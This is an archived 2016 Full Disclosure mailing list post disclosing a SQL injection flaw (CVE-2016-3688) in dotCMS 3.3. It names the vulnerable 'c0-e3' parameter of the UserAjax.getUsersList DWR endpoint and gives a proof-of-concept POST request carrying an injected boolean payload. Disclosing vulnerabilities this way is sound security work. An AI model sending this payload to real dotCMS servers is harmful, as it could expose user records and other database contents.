full-disclosure

Open Source and information security mailing list archives

Message-ID: <tencent_5C7FBBAC00F6CF254FA01FBD@qq.com>
Date: Thu, 31 Mar 2016 21:13:15 +0800
From: "p0x2015" <573031544@...com>
To: "fulldisclosure" <fulldisclosure@...lists.org>
Subject: [FD] DotCMS injection Vulnerability

Hello,please Add the following  to the security mailing-lists.

1、Description

Exploit Title: SQL Injection Vulnerability in DotCms v3.3

Date: 3-28-2016

Vendor Homepage: http://dotcms.com/

Vendor: dotcms

Software: Content Management System

Version: v3.3

CVE:CVE-2016-3688

2、Product Summary

================

dotcms is a fully featured open source enterprise grade J2EE/Java based web content management system for building/managing websites, content and content driven web applications. it’s specially designed for bridges the gap between PHP CMS and J2EE document management solutions. it include features such as support for virtual hosting, WebDav (beta), structured content, clustering and can run on multiple databases PostgreSQL, MySQL, MSSQL and Oracle. It also includes standard WCMS features like page caching, templating, and a API.

3、Vulnerabilities

================

A SQL injection vulnerability has been identified in dotCMS 3.3 which, if successfully exploited, could allow an attacker to access sensitive information in the dotcms database. 

Demo:(http://dotcms.com/content-management-system/cms-demo)

The vulnerability is due to the dwr/call/plaincall/UserAjax.getUsersList.dwr ,“c0-e3”parameter

Proof of concept

================

POST /dwr/call/plaincall/UserAjax.getUsersList.dwr 

 callCount=1

windowName=c0-param2

c0-scriptName=UserAjax

c0-methodName=getUsersList

c0-id=0

c0-param0=null:null

c0-param1=null:null

c0-e1=number:0

c0-e2=number:50

c0-e3=string:%25'%20and%201%3D1%20and%20'%25'%3D'

c0-param2=Object_Object:{start:reference:c0-e1, limit:reference:c0-e2, query:reference:c0-e3}

batchId=4

instanceId=0

page=%2Fc%2Fportal%2Flayout%3Fp_l_id%3Da8e430e3-8010-40cf-ade1-5978e61241a8%26p_p_id%3DEXT_USER_ADMIN%26p_p_action%3D0%26%26dm_rlout%3D1%26r%3D1459154302419

scriptSessionId=jnMOli*Civ5bu2PIg2Z1YaOlYel/10irYel-hmv1Q$Yud

4、Discovered by

================
 piaox xiong – xiongyaofu351@...gan.com.cn
Download attachment "3001F400@...35C51.6B22FD56" of type "application/octet-stream" (77434 bytes)

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives